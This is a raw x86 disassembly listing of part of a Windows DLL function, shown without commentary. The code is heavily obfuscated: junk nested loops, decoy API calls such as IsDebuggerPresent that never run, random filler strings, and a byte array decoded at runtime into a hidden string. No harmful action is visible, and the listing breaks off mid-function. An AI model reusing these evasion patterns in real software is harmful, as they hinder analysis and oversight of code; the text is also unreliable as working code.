mov dword [ebp - 0x2f8], 1
jmp 0x100291ff
and dword [ebp - 0x2f8], 0
mov eax, dword [ebp - 0x2f8]
sub eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x44]
je 0x100292d8
mov dword [ebp - 0x218], 1
mov dword [ebp - 0x85c], 0
mov dword [ebp - 0x48], 0
jmp 0x10029235
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xfffffff6
je 0x100292d3
mov dword [ebp - 0x300], 0x3530
mov dword [ebp - 0x44], 0
jmp 0x10029259
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jg 0x10029292
mov dword [ebp - 0x82c], 0
mov byte [ebp - 0xac], 0
movzx eax, byte [ebp - 0xac]
test eax, eax
je 0x10029283
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
jmp 0x10029252
mov dword [ebp - 0x218], 0
jmp 0x100292ab
mov eax, dword [ebp - 0x218]
dec eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jl 0x100292ce
mov byte [ebp - 0xae], 0
movzx eax, byte [ebp - 0xae]
test eax, eax
je 0x100292cc
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
jmp 0x1002929e
jmp 0x1002922e
jmp 0x10029558
mov dword [ebp - 0x48], 0
jmp 0x100292e8
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jg 0x10029558
mov dword [ebp - 0x44], 0
jmp 0x10029302
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jl 0x10029553
mov byte [ebp - 0xa9], 0
mov dword [ebp - 0x308], 0x7fae
mov dword [ebp - 0x73c], str.zpsmfjg_hzplxxgzs_vuuypvdj
cmp dword [ebp - 0x308], 0x817d
jle 0x100293aa
and dword [ebp - 0x1d8], 0
jmp 0x10029349
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x3449
jge 0x100293aa
and dword [ebp - 0x258], 0
jmp 0x1002936b
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0x2326
jge 0x100293a8
mov eax, dword [ebp - 0x1d8]
and eax, dword [ebp - 0x258]
cdq
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], edx
push dword [ebp - 0x634]
push dword [ebp - 0x638]
mov ecx, 0x10081de8
call fcn.1000d012
jmp 0x1002935e
jmp 0x1002933c
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x100293bf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x308], 0x7cc0
jge 0x100293e2
mov edx, dword [ebp - 0x73c]
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x100293fe
or dword [ebp - 4], 0xffffffff
jmp 0x10029408
mov byte [ebp - 0x89], 0
mov dword [ebp - 0x310], 0x380c
mov dword [ebp - 0x618], str.sdfjxgsa_ljrnkwi_bpgiwcjdf_vtjwchq_cvubmnac_lqxzq_bnmamln_szvg_vzknkv_nkoylt_wgquy
cmp dword [ebp - 0x310], 0x38c2
jle 0x100294ec
and dword [ebp - 0x1e0], 0
jmp 0x10029449
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x404a
jge 0x100294ec
mov dword [ebp - 0x60c], 0x1c5f
cmp dword [ebp - 0x60c], 0x106a
and dword [ebp - 0x220], 0
jmp 0x10029483
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x4968
jge 0x100294e7
mov eax, dword [ebp - 0x1e0]
imul eax, dword [ebp - 0x220]
cdq
mov dword [ebp - 0x644], eax
mov dword [ebp - 0x640], edx
push dword [ebp - 0x640]
push dword [ebp - 0x644]
lea ecx, [ebp - 0x990]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x6b8], eax
mov ecx, dword [ebp - 0x6b8]
call fcn.10001c08
push eax
call fcn.1004c39e
pop ecx
lea ecx, [ebp - 0x990]
call fcn.10001bea
jmp 0x10029476
jmp 0x1002943c
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x10029509
push 0
push 0x910
push 0x15ab
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x310], 0x351b
jge 0x10029528
push dword [ebp - 0x618]
call fcn.1004c39e
pop ecx
jmp 0x10029544
or dword [ebp - 4], 0xffffffff
jmp 0x1002954e
jmp 0x100292fb
jmp 0x100292e1
and dword [ebp - 0x170], 0
jmp 0x1002956e
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xe
jae 0x10029587
mov eax, dword [ebp - 0x170]
mov byte [ebp + eax - 0x730], 0
jmp 0x10029561
push 3
lea ecx, [ebp - 0x568]
call fcn.10001d4c
mov dword [ebp - 4], 0x20
mov dword [ebp - 0xa8], 0xe2236432
mov dword [ebp - 0x154], 0xfffffff8
mov dword [ebp - 0x2a8], 8
mov dword [ebp - 0x624], 0
mov dword [ebp - 0x318], 0x77b
mov dword [ebp - 0x718], str.kyde_ehczr_ohjft_wpbgn_vzgdcwh_dkjbtp_qncyq_nhlbgwj_jetso
cmp dword [ebp - 0x318], 0xa5a
jle 0x100296c3
and dword [ebp - 0x184], 0
jmp 0x100295fd
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x3bb1
jge 0x100296c3
and dword [ebp - 0x140], 0
jmp 0x10029623
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x53e8
jge 0x100296be
and dword [ebp - 0x174], 0
jmp 0x10029649
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x3464
jge 0x100296b9
and dword [ebp - 0x17c], 0
jmp 0x1002966b
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x2bb
jge 0x100296b7
mov eax, dword [ebp - 0x174]
imul eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x184]
sub ecx, dword [ebp - 0x140]
xor eax, ecx
cdq
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], edx
push dword [ebp - 0x64c]
push dword [ebp - 0x650]
mov ecx, 0x10081de8
call fcn.1000d012
jmp 0x1002965e
jmp 0x1002963c
jmp 0x10029616
jmp 0x100295f0
mov dword [ebp - 0x144], 0
jmp 0x100296dc
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 3
jge 0x100296fe
push dword [ebp - 0x144]
lea ecx, [ebp - 0x568]
call fcn.10001da4
mov dword [eax], 0xb9b55bb2
jmp 0x100296cf
mov byte [ebp - 4], 0x21
cmp dword [ebp - 0x318], 0x424
jge 0x1002971e
mov edx, dword [ebp - 0x718]
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x1002973a
mov dword [ebp - 4], 0x20
jmp 0x1002974a
mov dword [ebp - 0xa8], 0
jmp 0x10029763
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jg 0x10029901
push 3
lea ecx, [ebp - 0x790]
call fcn.10001d4c
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x348], 0xfffffffd
mov dword [ebp - 0x14c], 0
jmp 0x100297a4
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 3
jge 0x100297c6
push dword [ebp - 0x14c]
lea ecx, [ebp - 0x790]
call fcn.10001da4
mov dword [eax], 0xac9d73df
jmp 0x10029797
mov dword [ebp - 0x154], 0x260417be
mov esi, dword [ebp - 0x154]
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x568]
call fcn.10001da4
mov eax, dword [eax]
neg eax
cmp eax, esi
jg 0x100297fb
mov dword [ebp - 0x320], 1
jmp 0x10029802
and dword [ebp - 0x320], 0
cmp dword [ebp - 0x320], 0
jne 0x10029882
push 0
lea ecx, [ebp - 0x568]
call fcn.10001da4
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xedad94e8
jb 0x10029838
mov dword [ebp - 0x328], 1
jmp 0x1002983f
and dword [ebp - 0x328], 0
cmp dword [ebp - 0x328], 0xf34b
jne 0x10029857
mov dword [ebp - 0x330], 1
jmp 0x1002985e
and dword [ebp - 0x330], 0
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x568]
call fcn.10001da4
mov ecx, dword [ebp - 0x330]
add ecx, dword [eax]
jne 0x10029882
and dword [ebp - 0x338], 0
jmp 0x1002988c
mov dword [ebp - 0x338], 1
mov esi, dword [ebp - 0x2a8]
add esi, dword [ebp - 0x338]
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x568]
call fcn.10001da4
mov eax, dword [eax]
add eax, esi
mov dword [ebp - 0x340], eax
push 1
lea ecx, [ebp - 0x790]
call fcn.10001da4
mov ecx, dword [ebp - 0x340]
mov dword [eax], ecx
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x348]
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x790]
call fcn.10001d88
jmp 0x10029756
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x568]
call fcn.10001d88
mov dword [ebp - 0x298], 0xfffffff7
push 2
lea ecx, [ebp - 0x778]
call fcn.10001d4c
mov dword [ebp - 4], 0x24
mov dword [ebp - 0x358], 0xffffffff
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x6c8], 0xe3051ebf
mov dword [ebp - 0x15c], 0
jmp 0x10029965
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jge 0x10029984
push dword [ebp - 0x15c]
lea ecx, [ebp - 0x778]
call fcn.10001da4
or dword [eax], 0xffffffff
jmp 0x10029958
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x87c], eax
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0xffff7b65
jge 0x100299bd
cmp dword [ebp - 0x280], 0
je 0x100299bd
mov dword [ebp - 0x350], 1
jmp 0x100299c4
and dword [ebp - 0x350], 0
mov eax, dword [ebp - 0x298]
cmp eax, dword [ebp - 0x350]
jge 0x100299de
mov dword [ebp - 0x360], 1
jmp 0x100299e5
and dword [ebp - 0x360], 0
push 0
lea ecx, [ebp - 0x778]
call fcn.10001da4
or dword [eax], 0xffffffff
mov dword [ebp - 0x358], 0xffffffff
mov eax, dword [ebp - 0x358]
cmp eax, dword [ebp - 0x360]
jge 0x10029a19
mov dword [ebp - 0x368], 1
jmp 0x10029a20
and dword [ebp - 0x368], 0
mov eax, dword [ebp - 0x368]
mov dword [ebp - 0x6c8], eax
mov byte [ebp - 0xb1], 0
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x10029a48
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x778]
call fcn.10001d88
mov byte [ebp - 0x11c], 9
mov byte [ebp - 0x11b], 0xe3
mov byte [ebp - 0x11a], 7
mov byte [ebp - 0x119], 0x11
mov byte [ebp - 0x118], 0xd
mov byte [ebp - 0x117], 0x25
mov byte [ebp - 0x116], 0xc
mov byte [ebp - 0x115], 0x24
mov byte [ebp - 0x114], 3
mov byte [ebp - 0x113], 0x12
mov byte [ebp - 0x112], 0xa
mov byte [ebp - 0x111], 4
mov byte [ebp - 0x110], 0
mov byte [ebp - 0x10f], 0x26
mov byte [ebp - 0x10e], 0xb
mov byte [ebp - 0x10d], 0x30
mov byte [ebp - 0x10c], 6
mov byte [ebp - 0x10b], 0x23
mov byte [ebp - 0x10a], 4
mov byte [ebp - 0x109], 0x24
mov byte [ebp - 0x108], 1
mov byte [ebp - 0x107], 6
mov byte [ebp - 0x106], 8
mov byte [ebp - 0x105], 0x1d
mov byte [ebp - 0x104], 2
mov byte [ebp - 0x103], 0xa
mov byte [ebp - 0x102], 5
mov byte [ebp - 0x101], 0
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x11c]
and eax, 0x80
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x11c]
or ecx, 0x80
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x11c]
mov byte [ebp + eax - 0x588], cl
mov dword [ebp - 0x34], 2
and dword [ebp - 0x288], 0
jmp 0x10029b71
mov eax, dword [ebp - 0x34]
inc eax
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x1c
jae 0x10029c08
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x288]
movzx eax, byte [ebp + eax - 0x11e]
movsx eax, byte [ebp + eax - 0x588]
mov ecx, dword [ebp - 0x34]
movzx ecx, byte [ebp + ecx - 0x11b]
and ecx, eax
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x288]
movzx eax, byte [ebp + eax - 0x11e]
movsx eax, byte [ebp + eax - 0x588]
mov edx, dword [ebp - 0x34]
movzx edx, byte [ebp + edx - 0x11b]
and edx, eax
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x288]
movzx eax, byte [ebp + eax - 0x11e]
movsx eax, byte [ebp + eax - 0x588]
mov esi, dword [ebp - 0x34]
movzx ebx, byte [ebp + esi - 0x11b]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x34]
movzx eax, byte [ebp + eax - 0x11c]
mov byte [ebp + eax - 0x588], bl
jmp 0x10029b69
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x588], 0
lea eax, [ebp - 0x588]
push eax
lea ecx, [ebp - 0x948]
call fcn.1002c19c
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0x6fc], eax
mov dword [ebp - 4], 0x25
mov edx, dword [ebp - 0x370]
mov ecx, dword [ebp - 0x6fc]
call fcn.10016de8
mov dword [0x10146e90], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x948]
call fcn.1002c1cb
mov dword [ebp - 0x28], 0x42c70bb7
mov dword [ebp - 0x264], 1
mov dword [ebp - 0x3b0], 0x796a0b59
mov dword [ebp - 0x648], 8
mov dword [ebp - 0x7b0], 0x4b3f4b14
mov dword [ebp - 0x840], 0xce1a
mov dword [ebp - 0x3c0], 1
mov dword [ebp - 0x378], 0x6073
mov dword [ebp - 0x63c], str.ptry_vbgj_oex_jpnqcibkl_mwhcur_utddgduys_tuiqdarwf_mxcei
cmp dword [ebp - 0x378], 0x62c0
jle 0x10029d41
and dword [ebp - 0x164], 0
jmp 0x10029cdf
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0x681c
jge 0x10029d41
and dword [ebp - 0x16c], 0
jmp 0x10029d01
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x499b
jge 0x10029d3f
mov eax, dword [ebp - 0x164]
imul eax, dword [ebp - 0x16c]
cdq
mov dword [ebp - 0x65c], eax
mov dword [ebp - 0x658], edx
push dword [ebp - 0x658]
push dword [ebp - 0x65c]
mov ecx, 0x10081de8
call fcn.1000d012
jmp 0x10029cf4
jmp 0x10029cd2
mov dword [ebp - 0x20], 0
jmp 0x10029d51
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10029d67
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x538], 0xfffffff8
jmp 0x10029d4a
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x378], 0x6054
jge 0x10029d8a
mov edx, dword [ebp - 0x63c]
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x10029da6
or dword [ebp - 4], 0xffffffff
jmp 0x10029db0
mov dword [ebp - 0x20], 0
jmp 0x10029dc0
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x10029dd6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x918], 0
jmp 0x10029db9
mov dword [ebp - 0x20], 0
jmp 0x10029de6
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10029dfc
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8c4], 0xfffffff7
jmp 0x10029ddf
mov dword [ebp - 0x28], 2
jmp 0x10029e0c
cmp dword [ebp - 0x28], 0
jl 0x10029faf
mov dword [ebp - 0x3a0], 0x968c
mov eax, 0xd6f1860e
test eax, eax
je 0x10029ec0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x918], 0x9c7c6f1f
cmp dword [ebp - 0x264], 0x9c7c6f1f
jge 0x10029e56
mov dword [ebp - 0x380], 1
jmp 0x10029e5d
and dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x538]
cmp eax, dword [ebp - 0x380]
je 0x10029e7b
mov dword [ebp - 0x388], 1
jmp 0x10029e82
and dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x264]
cmp dword [ebp - 0x388], eax
jl 0x10029e9c
mov dword [ebp - 0x390], 1
jmp 0x10029ea3
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x264]
imul eax, dword [ebp - 0x390]
test eax, eax
je 0x10029ec0
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x538]
mov dword [ebp - 0x83c], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x538]
mov dword [ebp - 0x848], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x538]
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x538]
mov dword [ebp - 0x7b4], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp + ecx*4 - 0x538]
cmp ecx, dword [ebp + eax*4 - 0x538]
jg 0x10029f29
mov dword [ebp - 0x398], 1
jmp 0x10029f30
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0x3a0], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x3a0]
cmp ecx, dword [ebp + eax*4 - 0x538]
jne 0x10029f5a
mov dword [ebp - 0x3a8], 1
jmp 0x10029f61
and dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0
je 0x10029f92
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x8c4], 0
je 0x10029f92
and dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 0x3b8]
sub eax, 0xb969
mov dword [ebp - 0x648], eax
jmp 0x10029e05
mov eax, dword [ebp - 0x3c0]
dec eax
mov dword [ebp - 0x3c0], eax
and dword [ebp - 0x1c4], 0
jmp 0x10029fd2
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0xf
jae 0x10029feb
mov eax, dword [ebp - 0x1c4]
mov byte [ebp + eax - 0x588], 0
jmp 0x10029fc5
mov dword [ebp - 0x1c], 0x71c1
mov dword [ebp - 0x50], 0xe80c
mov dword [ebp - 0x26c], 3
mov dword [ebp - 0xd4], 0xfffffff7
mov dword [ebp - 0xf8], 1
mov dword [ebp - 0x410], 0xfffffff7
mov dword [ebp - 0x6e8], 1
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7b8], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
jge 0x1002a04b
mov dword [ebp - 0x3c8], 1
jmp 0x1002a052
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x3c8], eax
jg 0x1002a069
mov dword [ebp - 0x3d0], 1
jmp 0x1002a070
and dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x3d0]
jle 0x1002a087
mov dword [ebp - 0x3d8], 1
jmp 0x1002a08e
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x3d8], eax
jl 0x1002a0a5
mov dword [ebp - 0x3e0], 1
jmp 0x1002a0ac
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x3e0], eax
je 0x1002a0c3
mov dword [ebp - 0x3e8], 1
jmp 0x1002a0ca
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x3e8], eax
jne 0x1002a0e1
mov dword [ebp - 0x3f0], 1
jmp 0x1002a0e8
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x3f0]
lea eax, [eax*4 + 0x477aba5c]
cmp eax, dword [ebp - 0x1c]
jle 0x1002a106
mov dword [ebp - 0x3f8], 1
jmp 0x1002a10d
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x3f8]
cmp eax, dword [ebp - 0x1c]
jle 0x1002a128
mov dword [ebp - 0x704], 1
jmp 0x1002a12f
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x7c0], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x26c]
jne 0x1002a158
mov dword [ebp - 0x400], 1
jmp 0x1002a15f
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x26c]
cmp dword [ebp - 0x400], eax
jge 0x1002a179
mov dword [ebp - 0x654], 1
jmp 0x1002a180
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x26c]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0x50]
jl 0x1002a1a7
mov dword [ebp - 0x408], 1
jmp 0x1002a1ae
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x410], 0x96a4
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0xd4], 0
jmp 0x1002a1e6
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 5
jge 0x1002a27f
mov dword [ebp - 0xf8], 0
jmp 0x1002a20c
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0xffffffe3
jne 0x1002a26f
mov byte [ebp - 0x88], 0
movzx eax, byte [ebp - 0x88]
test eax, eax
je 0x1002a231
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
mov dword [ebp - 0x50], 0
jmp 0x1002a241
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x1c
jl 0x1002a26d
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x1002a26b
push 0
push 0x910
push 0x15ab
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x1002a23a
jmp 0x1002a1ff
cmp dword [ebp - 0x410], 0
je 0x1002a27a
jmp 0x1002a27f
jmp 0x1002a1d9
mov eax, dword [0x10146dcc]
cmp eax, dword [ebp - 0x21c]
je 0x1002a299
mov eax, dword [0x10146e90]
cmp eax, dword [ebp - 0x21c]
jne 0x1002a2b1
mov ecx, dword [ebp + 0xc]
call fcn.10001c08
push eax
push dword [ebp + 8]
call fcn.1002139c
pop ecx
pop ecx
jmp 0x1002b293
push 2
lea ecx, [ebp - 0x2a4]
call fcn.10001d4c
mov dword [ebp - 4], 0x28
mov dword [ebp - 0x18], 0xfffffff9
mov dword [ebp - 0x460], 0x10d3
mov dword [ebp - 0x1cc], 0
jmp 0x1002a2ef
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 2
jge 0x1002a311
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0x2a4]
call fcn.10001da4
mov dword [eax], 1
jmp 0x1002a2e2
mov dword [ebp - 0x18], 0
jmp 0x1002a321
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jg 0x1002a661
mov dword [ebp - 0xf0], 0x6887e08a
mov dword [ebp - 0x418], 0x2a43
mov dword [ebp - 0x660], str.ytlumntx_azbglxcbm_xvagxx_xmakecf_pax_lrjtelzug_hhksa
cmp dword [ebp - 0x418], 0x2b33
jle 0x1002a40e
and dword [ebp - 0x1d4], 0
jmp 0x1002a36f
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x183a
jge 0x1002a404
and dword [ebp - 0x1dc], 0
jmp 0x1002a395
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x68fa
jge 0x1002a3ff
and dword [ebp - 0x1e4], 0
jmp 0x1002a3b7
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x892
jge 0x1002a3fd
mov eax, dword [ebp - 0x1d4]
imul eax, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x1e4]
sar eax, cl
cdq
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x664], edx
push dword [ebp - 0x664]
push dword [ebp - 0x668]
mov ecx, 0x10081de8
call fcn.1000d012
jmp 0x1002a3aa
jmp 0x1002a388
jmp 0x1002a362
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov dword [ebp - 0x66c], 0x52275dd3
mov byte [ebp - 4], 0x29
cmp dword [ebp - 0x418], 0x2713
jge 0x1002a438
mov edx, dword [ebp - 0x660]
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x1002a454
mov dword [ebp - 4], 0x28
jmp 0x1002a464
push dword [ebp - 0x18]
lea ecx, [ebp - 0x2a4]
call fcn.10001da4
cmp dword [eax], 0
jne 0x1002a5e5
cmp dword [ebp - 0xf0], 0
je 0x1002a5c4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x7d0], eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x2a4]
call fcn.10001da4
cmp dword [eax], 9
jg 0x1002a4b6
cmp dword [ebp - 0x18], 0
je 0x1002a4b6
mov dword [ebp - 0x420], 1
jmp 0x1002a4bd
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x420]
cmp eax, 0x3e01
jge 0x1002a4e9
push dword [ebp - 0x18]
lea ecx, [ebp - 0x2a4]
call fcn.10001da4
cmp dword [eax], 0
jne 0x1002a4e9
and dword [ebp - 0x428], 0
jmp 0x1002a4f3
mov dword [ebp - 0x428], 1
push 0
lea ecx, [ebp - 0x2a4]
call fcn.10001da4
mov eax, dword [eax]
cmp eax, dword [ebp - 0x428]
je 0x1002a516
mov dword [ebp - 0x430], 1
jmp 0x1002a51d
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x430], eax
jg 0x1002a537
mov dword [ebp - 0x438], 1
jmp 0x1002a53e
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x460]
cmp dword [ebp - 0x438], eax
jle 0x1002a558
mov dword [ebp - 0x440], 1
jmp 0x1002a55f
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 0xffffffff
jg 0x1002a574
mov dword [ebp - 0x448], 1
jmp 0x1002a57b
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x448]
mov dword [ebp - 0xf0], eax
mov esi, dword [ebp - 0xf0]
push dword [ebp - 0x18]
lea ecx, [ebp - 0x2a4]
call fcn.10001da4
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x2a4]
call fcn.10001da4
cmp dword [eax], esi
jle 0x1002a5ba
mov dword [ebp - 0x450], 1
jmp 0x1002a5c1
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0x18]
or eax, 0xffffffff
je 0x1002a5dc
push dword [ebp - 0x18]
lea ecx, [ebp - 0x2a4]
call fcn.10001da4
cmp dword [eax], 0
jne 0x1002a5e5
and dword [ebp - 0x458], 0
jmp 0x1002a5ef
mov dword [ebp - 0x458], 1
cmp dword [ebp - 0x458], 0x13783312
je 0x1002a607
mov dword [ebp - 0x70c], 1
jmp 0x1002a60e
and dword [ebp - 0x70c], 0
push dword [ebp - 0x18]
